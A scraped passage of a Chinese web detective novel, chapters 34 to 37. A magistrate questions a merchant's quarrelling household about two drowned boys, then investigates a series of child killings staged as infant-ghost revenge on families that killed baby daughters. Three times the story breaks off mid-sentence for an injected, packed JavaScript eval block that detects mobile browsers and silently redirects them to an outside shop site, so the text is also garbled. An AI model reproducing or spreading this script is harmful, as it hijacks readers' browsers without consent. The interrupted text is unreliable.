“我……我说……其实那天中午,我并未去茅房,而是跟老爷在一起……老爷可以给我作证……” “你跟老爷在一起做什么?” “我……我跟老爷有私情,最近每天中午都会去书房找老爷……” 董氏勃然大怒,问道:“此事当真?” 凝香正要说话,孙修明赶紧否认:“不,没有的事……” 凝香叫道:“老爷,奴婢已经怀孕了,您还要抵赖吗?您要为奴婢作证啊,两位少爷真的不是奴婢杀的……” 听闻此言,孙修明震惊中夹杂着一丝惊喜,董氏则更加生气,一脚踹上凝香的肚子,骂道:“贱婢!我让你去照顾两位少爷,可你竟敢跟老爷勾.搭,还怀上了孩子!” 凝香捂着肚子哭诉:“夫人饶命啊,是老爷逼迫于我,不是我主动的……奴婢只是一个丫环,没法拒绝老爷……” 孙修明赶紧蹲下来,查看凝香的情况,见她并无大碍,才将她扶起来,喝骂董氏:“董氏,你别太过分!如今两个儿子已死,凝香肚子里的孩子是我孙家唯一的指望了,你竟敢踹她肚子?” 董氏气极,用手指着孙修明:“一定是你和凝香合谋,害死我的两个儿子!你早就看我不顺眼了,得知凝香怀孕,你便使毒计,先害死我的孩子,再赶走我!” 孙修明否认:“你胡说!我也是刚刚才得知凝香怀孕,而且我为何要杀死自己的儿子?” “你早就跟我感情失和了,也越来越不在意我们的孩子,做出这种事有什么不可能的?” 孙修明震惊地看着董氏,一时说不出话来。 董氏对云水谣下跪,悲愤地说:“请大人为民妇做主!大人,我们夫妻感情失和已经有好几年了,孙修明在外面寻花问柳,我全都不管,也懒得理他,每天只是带好两个儿子而已。 “就在前几日,我们发生了争吵,孙修明指责我对他不上心,我说他不配,请他出去。他便说,不要以为你有两个儿子就地位稳固,将来怎么样还难说得很呢。如今想来,他说出这句话,是已经对我的儿子起了杀心,请大人明察!” 孙修明赶紧辩解:“大人,没有啊!这句话不过是一时激愤所言,我从来没想过杀死自己的儿子!是董氏过度解读,非要把这凶杀案安在我的头上!大人,求您为我做主!” 云水谣道:“仅凭几句吵架的言语,确实无法断定孙修明有杀人之心。可是事发时,只有丫环凝香在陪伴两位少爷午睡,凝香中途去见了孙修明,所以你们俩都有嫌疑。” 凝香叫道:“冤枉啊!” 云水谣问道:“从两位少爷的房间,到孙修明的书房,路途有多远?” 凝香答道:“比较近,走过两条走廊就到了。” “两位少爷死时,你们确定在书房私会?” “是啊大人。” “那可有听到少爷们的房中传来什么动静?” 34. 妻妾相争大喝飞醋 案情反转煞费脑筋 凝香摇头:“没有。” 云水谣看向孙修明:“你也没听见?” 孙修明答道:“确实没有,两个孩子的房间很安静。” 董氏冷哼一声:“哼,你和凝香风流快活,那还顾得上听儿子房中的动静?” 孙修明的脸红了红,辩解道:“不管我当时在做什么,可若是儿子房中传来呼救或是巨大声响,我怎会听不见?” 这话说的倒也在理,董氏没再反驳。 云水谣道:“两个孩子并无服药痕迹,那凶手是如何神不知鬼不觉地杀害他们的?他又是用什么方式把两个孩子弄晕的?景佑,两个孩子头部可有撞击伤?” 景佑答道:“没有,两个孩子的头部没有伤口,连淤青也没有。” “这就怪了……不是迷晕,不是撞晕,可两个孩子确实是在昏迷状态下溺死……” 董氏道:“大人,民妇想到一种可能。” “什么可能?” “两个孩子素来惧怕父亲,若是孙修明命令他们把头置于马桶中,不得挣扎,他们也许真的不敢挣扎。” 孙修明大叫道:“董氏!你没完了是吧!我为什么要做这种丧心病狂的事!” “自然是为了凝香肚子里的孩子!你把我的孩子弄死,把我也弄死,就可以顺理成章地娶凝香了,她肚子里的孩子就可以继承你的财产了。难道不是这样吗?” “怎么可能!都说了我也是刚刚知道凝香怀孕!再说,她不过是个丫头,就算怀孕又如何?我怎么可能娶她为妻?最多给个小妾的名分。我更不可能为了她的孩子,杀害自己的嫡子,她还没有那么重要!” 听到这些话的凝香脸色惨白,默默地站得离孙修明远了些。 孙修明注意到了,自悔失言,对凝香道:“凝香,你别伤心,我不是这个意思,我就是口不择言……” 董氏怒道:“你还跟这个贱婢解释!还说不在乎她?” 孙修明一会看向董氏,一会看向丫环凝香,左支右绌,不知该说什么。 他若要让夫人董氏消气,就必须贬低凝香;若是要让凝香心情变好,说话就必须捧着她,可以说怎么做都不对。 而造成这般进退维谷的境地的,恰恰是他自己,他也怪不了旁人。 凝香哭道:“老爷,您不用顾虑太多,凝香不是争风吃醋的人……现在最要紧的,还是要找出杀害两位少爷的凶手才是啊。” 董氏怒道:“别假惺惺的了,不就是你吗?你哄睡了两位少爷,趁他们睡着了,把他们的头按到马桶中。” 凝香赶紧辩解:“不是啊夫人,真的不是我!就算两位少爷睡着了,我若真的让他们溺水,他们岂会不醒?马桶这么浅,只需略微抬头,就不会溺死了。而且,奴婢也不知道您以前有一个溺死的女儿,不知道婴鬼复仇的传闻,为何要制造两位少爷溺亡的现场?当时两位少爷已经睡着,奴婢若真想害人,直接闷死岂不省事?” 凝香说的在理,董氏也没法再责怪她。 董氏曾经失去过一个女儿,府里上下对此事讳莫如深,不敢提起。凝香才十几岁,来孙府不过两三年,她不可能知道这事。 而且,以她的能力,确实无法让两位少爷在不挣扎的情况下,在马桶里溺死。 任何一个睡着的人,若是口鼻进水,肯定会醒来,而两个孩子却始终没醒。 这怎么看,也不是一个丫环能做到的。 事情似乎陷入了僵局。 云水谣道:“如果事发时,凝香和孙修明确实不在现场,那么其他人就有机会潜入两位少爷的房中作案。孙修明,你家里还有些什么人,是否都到了?” 孙修明答道:“还有一些下人没到,但他们住的地方离小儿的房间较远,应该是没有时间作案的。除此之外,府里还有一个白姨娘和她的女儿静静,住得离我儿子不太远。” “叫她们两人过来。” 过了一会,一个打扮得花枝招展、神态有几分轻狂的女子走了进来,手上还牵着一个七八岁的女孩,正是白姨娘和她的女儿静静。 她们俩给云水谣行礼,云水谣道:“不必多礼。你们住得离两位少爷很近?” 白姨娘答道:“是,老爷说几个孩子住得近,方便一起玩,因此妾身的住所就在两位少爷后面的房屋。女儿静静一直跟着妾身住。” “事发当天,你们可有听见什么动静?” “没有,那天静静身体有些不适,一直在房中休养,没有出去。结果中午时分,妾身忽然听见府里乱糟糟的,很多人在奔走议论。妾身走出去询问,才得知两位少爷溺毙了,便赶紧带着静静来到两位少爷的房间。” “你是第几个到的?” “妾身到的时候,已经有一些下人在了。主子里面,妾身是第一个到的,因为妾身住得最近。紧接着,老爷也来了,然后是夫人。” “把你当时见到的情形,详细说一遍。” “是。” 白姨娘说了一遍,她所说的话跟之前那个嬷嬷说的没有出入。 董氏盯着她,问道:“是不是你?” 白姨娘柔柔弱弱地说:“夫人此言何意?” “是不是你杀了我的儿子?” 白姨娘委屈哭道:“夫人,没有啊!妾身一个弱女子,如何能杀死两位少爷?且妾身对您一向忠心耿耿,不可能有这样大逆不道的想法啊……” “你给我闭嘴!来人,去搜她的屋子。” “夫人,这是什么意思?” 董氏冷笑:“没什么意思。你既然清白,就不怕搜屋吧?” 白姨娘神情有些慌张:“夫人,虽然您是主母,可我没犯错,您怎么能搜我屋子?” “你也知道我是主母,那这后院自然归我管辖,我要搜便搜,难道还要经过你的同意吗?” 白姨娘不敢再说,倒是孙修明帮着说话:“董氏,你这是什么意思?你怀疑白姨娘?” 董氏冷笑:“这些个小妖精自然是清白无辜的,我是家里最大的恶人,你是这个意思吧?” 孙修明气得跺脚:“你……简直不可理喻!罢了,你要搜便搜吧!” 云水谣刚才见白姨娘神色有异,也起了疑心,叫景佑带领两个衙役,一起去搜白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907792|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨娘的屋子。 过了一段时间,搜屋子的人回来。 景佑手里拿着个托盘,托盘里是两块丝绸手帕。 景佑道:“大人,在白姨娘的屋子里发现这两块手帕,上面有奇怪的香味。我闻了之后精神有些恍惚,把帕子拿开才清醒些。我想,这手帕可能有问题。” 云水谣拿过来看了看,问白姨娘:“这手帕上面是什么香?” 白姨娘犹豫了一会,道:“大人,这是一种迷香,我洒在手帕上,本来是想用在老爷身上的……今天是我的生日,老爷答应会来陪我用晚饭。可是老爷已经很久没留宿了,我想将他迷晕,把他留下,没有别的意思。” “迷香……这迷香能持续多长时间?” “如果被迷晕了,在两个时辰内不会清醒,但是对身体是无害的……” 董氏想到了什么,怒道:“是你!你这小贱人,用迷香迷晕我的两个儿子,所以他们头扎进马桶里也不挣扎,就那样溺死了!” 白姨娘辩解道:“没有啊,我没有这样做……我买这迷香,真是只是为了用在老爷身上!” 孙修明也有些不悦:“怪不得最近每次去你房中,我都会有些晕,有时候明明想离开,身体却不听使唤。你简直大胆!” 白姨娘道:“老爷,妾身也是出于对您的一片真心,才这样做的……您最近被其他女子所迷,妾身如果不想想办法的话,就会彻底失宠啊……” “我本以为你是个单纯的女子,没想到也会使这种手段!” 董氏走到孙修明面前,喝道:“现在是该讨论这个的时候吗?重点是她用这带有迷香的手帕杀了我们的儿子!” 孙修明这才反应过来,问道:“白姨娘,两位少爷到底是不是你杀的?” “不是啊……事发当天中午,我一直在化妆,因为我知道老爷会来陪我吃晚饭,所以想打扮得漂亮些……替我化妆的是妆娘吴芷秀,她可以替我作证的!” 大夏有一些专门替人梳妆、梳发髻的女子,叫做妆娘。普通人家的女眷很少化妆,但若是有什么重大事情,便会请妆娘上门帮忙梳妆打扮。 富贵人家的女眷手里有钱,会隔三差五地请妆娘上门。哪怕自己会化妆,终究是妆娘化得更专业一些,那些女眷也乐得轻松。 因此,妆娘这个行业也是比较火的,但只有手艺好的妆娘能在这一行长做下去。 云水谣派人去将妆娘吴芷秀请来。 过了一会,一个瓜子脸、杏仁眼的美貌女子便到了,她便是妆娘吴芷秀。 云水谣问道:“吴芷秀,三天前的中午,你一直在给白姨娘化妆吗?” “是。” “中途她有没有离开过?” “没有。她那天选的妆容比较复杂,要化很久,我让她一直坐着,她连茅房也不曾去。我从午时整便开始给她化妆,一直到午时三刻左右。当时她听见外面有动静,才出门问,得知两位少爷的死讯。” 云水谣点头:“既然这样,她便有不在场证明了。” 董氏道:“大人,也许吴妆娘已经被她买通了,给她作伪证。” 35. 女童语出惊人 嫌犯各执一词 妆娘吴芷秀有些不悦:“夫人,我从不做这样的事,您不要凭空污蔑人。” 云水谣问在场之人:“事发时白姨娘是否在自己的房间?还有谁看到吗?” 有两个下人道:“事发当天中午,我们在修建花枝,远远看到白姨娘坐在窗户边。虽然隔得较远,但可以看出是白姨娘。” 云水谣点头:“既然有好几个人证明白姨娘没有出过房门,那她就没有作案时间。” 白姨娘脸色一松,神情也舒展了一些。 云水谣问她:“刚才夫人要搜屋子时,你为何如此慌张?” “回大人,我只是怕自己带有迷香的手帕被人发现,但并不是因为跟案件有关才紧张。” “原来如此。” 这时,白姨娘的女儿静静忽然问她:“姨娘,两个哥哥死了,以后孙家是不是由我来继承?” 此言一出,在场之人都十分惊骇。 白姨娘赶紧捂住女儿的嘴:“静静,别胡说!” 静静挣脱了白姨娘的束缚,继续说道:“可是,姨娘平日里不都是这样说的吗?那为什么我说就不行?” 白姨娘脸色惨白,道:“你别胡说,我从未说过这种话……” 接着,她看向孙修明、董氏:“老爷,夫人,妾身真的没有……” 话音未落,白姨娘脸上就挨了一巴掌。 董氏打了她一巴掌,怒道:“果然是你!你早有害死我儿子之心,连你女儿都知道!那天你虽然没有作案时间,但你可以找人帮忙。” 白姨娘捂着脸哭道:“妾身找谁帮忙?谁敢帮着做这伤天害理的事?妾身平日里确实说过,如果两位少爷身故,那家产很有可能由静静继承。但那也是因为老爷一直很疼爱静静,妾身才生出了这种想法。但妾身发誓只是想想而已,万万不敢付诸行动啊!” 董氏道:“只要出钱,找谁不行?你一定有同谋,说不定就是凝香!” 凝香道:“夫人,奴婢真的没有,奴婢将两位少爷哄睡后,就直接去书房找老爷了……” “你是哄睡了,还是迷晕了?白姨娘给你带有迷香的帕子,你迷晕了两位少爷,然后将两位少爷的头放置在马桶中,再去书房找老爷,拖延时间,对不对?” “不,没有……” 凝香急哭了,董氏又开始打凝香。 孙修明反应过来,记起凝香怀有身孕,赶紧护住凝香,推开董氏。 董氏见此,更加生气,连孙修明一起打。打完孙修明打凝香,打完凝香打白姨娘,还顺手给了静静一巴掌,把小女孩静静打哭了。 云水谣见场面如此混乱,赶紧叫衙役们维持秩序。景佑和衙役们上前,把混战的众人拉开。 董氏刚才发了一通脾气,这会也累了,瘫坐在地,对云水谣哀求:“大人,我的儿子死得好惨……您一定要把杀人凶手绳之以法……可恨孙修明,竟骗我说是婴鬼复仇,害我一直被蒙在鼓里,没有想到此事是人为……” 白姨娘、凝香也上前哀求,说自己是冤枉的。 孙修明也道:“我之前确实以为是婴鬼复仇,因为实在太像了,而且最近两年发生过好多起婴鬼复仇之事,我才有此联想……我绝非故意骗人啊!” 现在的场面太混乱了,众人各执一词,云水谣也有些犯糊涂。 她对众人说道:“你们都先别吵,让本官想想。白姨娘,你那些迷香,会在身体里残留多久?” 白姨娘答道:“若是吸入人体,昏迷两个时辰便会醒来,但是残余的迷香会在身体里留一天左右,一天以后就毫无痕迹了。” “现在已经案发三天了,两个死者身上没有药物痕迹,但是三天前他们是有可能吸入迷香的,现在也查不出来了。” “大人,我真的没有……” “你别紧张,本官会调查的。若你与案情无关,便会还你清白。” 云水谣又看向孙府众人,问道:“事发当天,两位少爷早上和吃午饭时是清醒的吗?” 一个嬷嬷回答:“是的,奴婢是伺候两位少爷吃午饭的,那天眼见他们吃完饭后,奴婢就离开了,接下来由丫环凝香带着他们睡觉。” “那么,就不存在事先迷晕两个少爷的可能。他们俩一定是到凝香手上后,才晕倒的。但下手者未必是凝香。如果是她,那她应该有一块染了迷香的手帕。” 凝香道:“大人,奴婢并无这样的手帕。” 云水谣对衙役道:“你们去搜一搜凝香的屋子和两位少爷的屋子,把所有找得到的手帕都拿来。” “是。” 接着,云水谣问白姨娘:“你的那种迷香,是不是一定要染在帕子上才有用?” 白姨娘回答:“是的,我只有这两块染了迷香的帕子,没有其他的。这种迷香很贵,我不可能给别人的。” 过了一会,衙役们把少爷房间、凝香房间所有帕子全都找了出来,没有一块帕子是跟白姨娘相同的。 没有物证,看来此事可能跟凝香无关。 这时,妆娘吴芷秀道:“大人,我可以离开了吗?” 云水谣这时才意识到,吴芷秀一直站在这里,估计是有些累了。 于是,云水谣便让她离开了。 云水谣暂时想不到命案是如何发生的,便把有嫌疑的丫环凝香、孙修明带回县衙,暂时收监。 凝香和孙修明都叫屈,云水谣道:“本官也没说一定是你们干的,但当时并没有其他人进入过两位死者的房间,或者说没有人看见有谁进去过。凝香本该陪着两位少爷午睡,却中途离开,无论如何有失职之罪。 “至于孙修明,若非你勾搭丫环凝香,她就不会频频在中午外出,也就不会发生后来的惨祸。所以,你们二人纵然不是凶手,也有责任。” 孙修明和凝香都脸色惨白,无言可对。 董氏有些痛快地说:“大人英明,抓他们就对了。只要严刑拷打,想必他们会招供的。” 云水谣皱眉道:“董氏,你不可因个人情绪影响判断。此事的真相如何,还未可知,他们二人未必是杀人凶手。” 董氏只得说道:“是,大人。” 这时,白姨娘的女儿静静又道:“爹被抓走了,那我是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907793|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以直接接管孙家了?” 白姨娘赶紧说道:“静静,你别再说了!” 孙修明有些惊讶,还有些伤心,道:“枉我这么疼爱静静,没想到她只惦记着家产。白姨娘,你教的好女儿。” 白姨娘辩解道:“老爷,不是我教的,静静是小孩,有时候胡说八道的……” 云水谣想了想,吩咐衙役:“把白姨娘和静静也带走。” 白姨娘道:“大人,我在案发当天并没出门,有人给我作证的……” “我知道有人作证,可你和你女儿有杀人动机。也许你们是通过一种别人想不到的方式杀人的。先带回去再说。” 静静一个七八岁的小女孩,满嘴里说的都是哥哥死了,她就能继承家产;父亲被抓,她就能继承家产。可想而知白姨娘私底下是怎么教她的。 那么,她们母女确实存在着为了谋夺家产而杀害两个男孩的可能。 云水谣把这一干人等都带回县衙,继续审问,可还是毫无头绪。她只能将这些人先关押起来。 没想到,她本是去向孙修明借钱的,却把他当成人犯抓了回来。 不过,案件的真相更重要。 孙家这些人里,有孕妇,有孩童,没法关太久。如果几天内查不出真相,只能释放。 所以,留给云水谣的时间不多了。 云水谣把这个案子从头到尾想了一遍,还是找不到突破口。她觉得头都疼了,焦躁地踱来踱去。 元景佑走了进来,递给她一包桂花糖糕:“大人,这是我特意去糕点铺买的,是新出的品种,你尝尝。” “嗯。” 云水谣无意识地拿了一块塞到嘴里,由于心思都在案件上,也尝不出什么味。 她问景佑:“你说杀死两个男孩的凶手会是谁呢?” “属下也不知。白姨娘有能迷晕人的手帕,可她没有到过两位少爷的房间。丫环凝香一直带着两位少爷午睡,有作案的时间,可缺乏条件。她一个弱女子,是没法按住两个男孩直到他们溺毙的,她没这个力气,且两个男孩并无挣扎痕迹。 “若说孙修明联合丫环凝香,害死自己的儿子,却又不符合人之常情。这事最难的地方就在于,事发时没有其他下人守着,所以也没有任何目击证人。莫非这事要成为悬案?” 云水谣喃喃自语:“悬案……唉,那两个小孩也是够可怜的。可是,难道要放了孙府一干人等吗?也许他们当中,就有真正的凶手。” “大人,目前缺乏证据,难以找出真凶,只怕最后只能放走所有人。” “会不会是那小女孩静静呢?她有继承家产之心,那么生出杀害兄长之意,也是有可能的。再加上她的生母白姨娘一直在给她灌输这种想法,她的一些不良心思只怕会愈发强烈。” “大人,静静不过是个八岁女童,就算她偷走母亲的迷香手帕,将两位兄长迷晕,她也没有力气把两位兄长拖到马桶那里,让他们溺死。” “是啊,静静也没力气……” 这时,伺候在一旁的丫环兰心说道:“难道真的是鬼魂杀人?” 36. 铁钉加身于心何忍 案件累积触目惊心 云水谣摇头:“鬼魂杀人绝无可能,这件事情当中一定有某个地方被我们忽略了。” 兰心道:“可是刚才听小姐和元护卫的分析,谁都不可能,那只剩鬼了呀。” 云水谣喃喃自语:“只剩鬼了……” 她突然想到了什么,问元景佑:“景佑,之前我们听那些百姓说,婴鬼杀人之事已经发生过很多次了?” 元景佑点头:“是的,那些百姓言辞凿凿,说婴鬼杀人时有发生,受害的人家都不敢声张,怕引来更大的厄运。由此看来,类似的事情应该已经发生过很多起了。” “我在想,也许这些婴鬼杀人案,都存在着某种内在的关联。” “大人的意思是,所有的婴鬼杀人案,都是某个组织或是某个幕后黑手做的,再散播婴鬼杀人的传言,使百姓不敢声张,只能自认倒霉?” “是,这也是一种可能。我们刚刚的思路,一直集中在是孙府哪个人杀了两个孩子,所以一直没有头绪。但若是杀人者是个外人,跟孙府之人无关呢?” “确实有可能。” “景佑,假如让你潜入孙府,神不知鬼不觉地杀掉那两个男孩,你做得到吗?” “如果只是去杀人,我能做到。但是要让他们溺毙,且没有挣扎痕迹,我做不到。” “假如你也带上迷药呢?” 景佑道:“那就可以了。只是,像孙府这样的富商之家,若要悄悄杀掉孩子而不惊动其他人,似乎不太可能。有钱人家的孩子,必定有许多人服侍。 “孙家情况特殊,两个孩子午睡的时候,旁边只留一个丫环。而那丫环又因为跟老爷的私情,中途外出,导致有一段时间内两个孩子的房间没有人。所以,凶手才能神不知鬼不觉地杀人。 “我觉得,凶手一定对孙家的情况非常了解,所以才能挑中这么合适的时机。若是选在其他时候,纵然能杀掉那两个男孩,也必定会被人看见,那么他就要杀更多人灭口,也就难以伪造出鬼魂杀人的假象了。” 云水谣豁然开朗:“所以,就算凶手是外人,但说不定跟孙府中人有所勾结,才会如此熟知两个男孩的作息情况,选择最合适的时机杀人。由此看来,孙府之人未必无辜。” “是的,但这只是其中一种可能。还有一种可能是,凶手自己观察了孙府众人的作息情况,知道两个男孩午睡时,身边会没有人,才会选择在那个时机杀人。” 云水谣道:“没错,要考虑到每一种可能。但是,这凶手杀人的动机是什么呢?孙家的两个孩子死了,但孙家财物并没有失窃,孙家的美貌小妾、丫环也并没出事,由此可知杀手并非求财或求色。 “而两个孩子这么小,应该也不至于与人结仇。若说是孙修明与人结仇,对方想让孙修明绝后,那为何只是杀死两个小男孩,而不是让孙修明失去生育能力呢?纵然杀了他的孩子,但他还是能再生啊。” 景佑分析道:“莫非这杀手心理变态,杀人有瘾,尤其喜欢虐杀小男孩?但他又不希望事情败露,所以故意让那些小男孩跟自己早逝的姐妹同一死法,捏造婴鬼复仇的传闻,这样就没人会想到是人为了。” 云水谣点头:“这个猜测很合理,但有一个很大的问题:凶手是怎么得知哪户人家杀过女婴,又是如何杀法?如果说,像孙修明这样的大户人家,要打听其隐私比较简单的话,那受害的还有一些普通百姓,且分布范围很广,凶手又是如何知道普通人家里的事情,且知道得这么详细? “而且,已婚的百姓杀女婴其实是很常见的,为什么不是每一户杀过女婴的百姓儿子都被杀,而只是其中一部分被杀呢?这个凶手挑选作案对象的方式是什么?” 景佑道:“也许,只有抓到真正的凶手,才能明白这些问题了。” 云水谣:“看来,我们要了解更多的婴鬼杀人案,才能从中总结出一些共性,从而找到真凶。” 云水谣想了想,找来县丞林复,道:“林公,听闻百姓深受婴鬼杀人之害,您可曾听说?” 林复捻须道:“偶然有所听闻。有些百姓家里男孩夭折,会说是之前杀死的女婴前来复仇。这不过是愚民之见,下官纵然听到,也不曾在意。” “依我看,这婴鬼杀人案,跟之前的女童失踪案一样,都是有人在幕后推动。” 林复惊讶道:“大人可有什么线索?” “目前没有线索,这只是本官的猜测。婴鬼杀人的传闻时有发生,令百姓人心惶惶,纵然孩子死亡却不敢报官,实为一大害。你我都明白,不可能有什么鬼魂杀人之事,那么这些人命案,是不是人为呢?也许,就是同一个人或是同一个组织做的。所以,本官决定调查婴鬼杀人一事,除去百姓心中的暗鬼。” 林复道:“大人,会不会是之前的百尺楼所为?” “百尺楼是一个杀手组织,需要的是活着的小孩,这样才能补充他们组织的人力。他们接到单子才会杀人,且杀人手法干净利落,不会装神弄鬼,搞出这么多死法。又有谁会请杀手组织去杀这么多百姓家的小孩,这根本不合理。” “大人说的是。只是,那些受害的百姓基本都相信鬼神之说,大人纵然要调查,只怕他们不肯配合啊。” “这好办,本官已想出一个办法,就说替百姓捉鬼。” “捉鬼?” “正是。就由景佑假扮捉鬼的道士吧,反正他也是被道士养大的。” 景佑惊讶:“啊?我?” 云水谣笑着点头:“没错,就是你。” 云水谣又跟县丞林复商议了一些具体细节。 林复拟了告示,张贴出去,说县令大人请了个能捉鬼的崂山道士,凡是家中有婴鬼作祟的,都可上报官府,官府会请道士协助解决。如实上报的,赏银100文。 百姓们一开始还有些犹豫,但因有赏银,且相信道士能捉鬼,便纷纷将家里婴鬼作祟的事上报官府,由官府小吏一一登记。 大约十天后,才终于无人继续上报。而统计出来的婴鬼作祟案,一共有三十起。算上孙修明家的案子,就是三十一起,涉及的死者一共有四十人,都是未成年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907794|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男孩。 虽然数量不多,但因涉及鬼神之事,也足够骇人听闻了。 这些报官的百姓,因担心婴鬼报复,经常来询问衙役,道士是否真能捉鬼。如果不能,他们要撤回案子。 元景佑扮成了道士,化名虚尘子,回忆着自己师父的模样,在百姓面前装模作样地说了一些专业术语,把百姓唬住了。他们见景佑眉清目秀,博学多才,看着像是有真本事的,也就不再担忧了。 只是,他们开始争相邀请景佑去自己家里捉鬼,有的百姓甚至打了起来。 元景佑赶紧维持秩序,说道:“捉鬼需要找个合适的时辰,现在时机未到,大家先别急。贫道要了解更多细节之后,才能帮大家驱鬼。所以,县令大人若问什么,你们如实回答便是。” 百姓们纷纷同意。 这些百姓有的住得比较远,云水谣临时划出了一片居住区,让他们都住进去。驱鬼未完成之前,先不要回家。 百姓们也比较担心婴鬼作祟的事,不敢离开,全都抱团住在一起。 云水谣在后堂之中仔细查看了这些案件的卷宗。 最早的一起婴鬼杀人案,发生在两年前的二月。 一个叫金有成的工匠,发现自己七岁的儿子被活活掐死,头上还钉着三根铁钉。 当时,有许多邻居都见到了这一幕。金有成伤心之余,本想报官,可围观群众中有人说,这个死法,很像金有成的二女儿的死法。 原来,金有成头胎生的是女儿,二胎生的还是女儿。他对头胎女儿还不错,但第二个女儿出生时,他很生气,竟把那女婴活活掐死。有老人提议,在女婴头上钉几根铁钉,使女鬼畏惧,不敢再投胎到他家,那么下一个来投胎的必是男孩。 金有成听从了建议,真的在二女儿头上钉上三根铁钉,然后弃尸荒山。 后来,他又生了一个儿子,视若珍宝。没想到,养到七岁,却死于非命,还是跟孩子的二姐同一死法。 此事十分离奇怪诞,也不知是谁说,这是女婴的鬼魂回来复仇了。 围观群众有一半信的,也有一半不信的。 金有成自己将信将疑,但心中已十分害怕。为了掩盖心中的恐惧,他当即大骂死去的二女儿,说她扰乱家宅,害死弟弟,狼心狗肺,做人时不受待见,做鬼也是个孤魂野鬼。 结果,第二天,他的大女儿竟开始疯疯癫癫的,拿刀砍人。 老人们说,金有成昨日不该骂死去的二女儿,这是二女儿生气了,要继续作耗,害到大女儿头上了。如果金有成不道歉,并且好好供奉二女儿,为她做法事,二女儿还会继续作乱,到时候可能要害到金有成夫妇的头上。 金有成宁可信其有,便真的将二女儿的灵位供奉起来,说了许多道歉的话,还给二女儿做了法事。 做完这一切后,大女儿竟渐渐地好了,他们家也没再经历过什么坏事。 只是,对于婴鬼的厉害,金有成有了清晰的认知。他非常害怕死去的二女儿,所以也不敢报官,说自己儿子被杀一事。 37. 物证缺失无头绪 烦恼萦心暂赛马 其他的卷宗,也诸如此类。曾将女孩摔死的,儿子也摔得粉身碎骨;曾将女孩闷死的,儿子也被闷死;曾将女儿饿死的,儿子也是活活饿死。 这些死法,竟没有丝毫差池。如果不是云水谣坚信这些案子是人为,只怕也要相信婴鬼复仇的传闻了。 云水谣吩咐衙役:“先把金有成夫妇叫来。” “是。” 金有成夫妇都长得比较瘦小干枯,皮肤黝黑,脸上有许多皱纹。他们才四十多岁,看着像五十多岁,看来儿子的死对他们的打击很大。 云水谣问道:“你们儿子死之前,见过什么人吗?” 金有成道:“小人是陶匠,平时做些陶土花瓶、陶土碗盘之类的。那天早上,小人让儿子给一个客户家送陶碗,他出门之后就再也没有回来。后来,有人来通知我,说我儿子死在树林里了。我赶过去一看,就看见……就看见……” 金有成说不下去了。儿子死得太惨,他不忍心再去回忆。 云水谣道:“金有成,节哀顺变。是谁第一个发现你儿子的尸体的?” “是几个去树林中挖竹笋的妇人。她们住得离我家不远,认识我儿子,所以赶紧来通知我了。” “她们会不会就是凶手?” “不会的,她们跟我家关系比较好,不可能杀我儿子的。大人,不是说婴鬼杀人,您找了个道士来捉鬼吗?” “哦,是要捉鬼,不过要先把当时的情况问清楚,才能制定捉鬼的方案。而且,本官要确定你们的案子确实是婴鬼所为。万一有些案子是人为,也需要加以区别。人为的便要找凶手。” “大人,其他案子可能是人为,但我儿子的死,肯定是婴鬼作祟。因为我儿子死得跟他二姐一模一样……” 想起他二女儿的死法,云水谣对金有成心中充满了鄙夷和愤怒。可现在要查的是金有成儿子被杀案,云水谣必须压下所有的情绪。 她接着问:“当时你儿子脖子上的掐痕,是属于大人的还是属于小孩的?” 金有成答道:“小人没细看……当时光顾着伤心了,然后围观的人说有可能是女婴复仇,我就更慌了,根本没有仔细查看尸体,就将儿子下葬。” “你有没有什么仇家?” “没有,小的从未与人结仇。” 云水谣心想,你跟你二女儿可是结了深仇大恨,不过是仗着人家是女婴,又死了,没法报仇而已。这么多年,恐怕这个金有成心中也没有愧疚和后悔,反而觉得自己做得对呢。 云水谣接着问:“你儿子头上那些铁钉呢?” “早已拔出来扔掉了,现在早就找不到了。” 连最后一点物证也没了,云水谣有些沮丧。三年过去了,他儿子的尸体应该已经白骨化了,存在于肉身上的伤痕肯定没有了,即便开棺验尸,价值也不大。 于是,云水谣就让金有成夫妇先离开。 接着,她又一一盘问了其他失去儿子的百姓,可没问出什么有价值的信息。 有一些共同点:事发时那些孩子身边都没有人,无人看见行凶的过程;死去的孩子互相之间没有什么联系,基本上彼此不认识,家也分布在不同的地方,看起来像是凶手随即选取作案对象似的。 不管幕后黑手是什么样的人,都不可能同时跟这么多普通百姓结仇,以至于非要杀死他们的儿子不可。所以对于这幕后黑手的动机,云水谣也觉得很费解。 